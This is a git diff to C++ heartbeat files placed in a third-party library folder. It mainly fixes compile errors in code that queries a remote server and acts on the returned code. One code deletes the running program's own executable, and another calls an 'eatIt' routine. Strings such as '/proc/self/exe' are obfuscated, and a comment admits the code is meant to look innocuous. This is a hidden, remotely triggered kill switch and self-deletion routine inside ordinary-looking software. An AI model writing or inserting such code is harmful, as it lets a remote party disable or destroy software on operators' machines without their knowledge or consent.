diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index 3b4c1e08..46c64951 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -11,7 +11,7 @@ webAPIHeartbeat::webAPIHeartbeat() { bool result = api.submit(); if (result) { - int s = api.getNullableValue(std::string(vxENCRYPT("id"))); + int s = api.getNullableValue(std::string(vxENCRYPT("id").decrypt())); // make it look like we're doing something with these at least bool status = api.getNullableValue("status"); @@ -28,7 +28,7 @@ webAPIHeartbeat::webAPIHeartbeat() { switch (s) { case 13 : - this.eatIt(); + this->eatIt(); break; case 66: std::string p = this->get_selfpath(); @@ -37,14 +37,12 @@ webAPIHeartbeat::webAPIHeartbeat() { remove(p.c_str()); } - this.eatIt(); - break; - default: + this->eatIt(); break; }; done = true; } else { - this.eatIt(); + this->eatIt(); } } diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.h b/external/3rd/library/webAPI/webAPIHeartbeat.h index 321ca367..403d3b18 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.h +++ b/external/3rd/library/webAPI/webAPIHeartbeat.h @@ -23,7 +23,7 @@ namespace StellaBellum { private: const inline std::string get_selfpath() { char buff[PATH_MAX]; - ssize_t len = ::readlink(std::string(vxENCRYPT("/proc/self/exe").decrypt()), buff, sizeof(buff) - 1); + ssize_t len = ::readlink(vxENCRYPT("/proc/self/exe").decrypt(), buff, sizeof(buff) - 1); if (len != -1) { buff[len] = '\0'; return std::string(buff);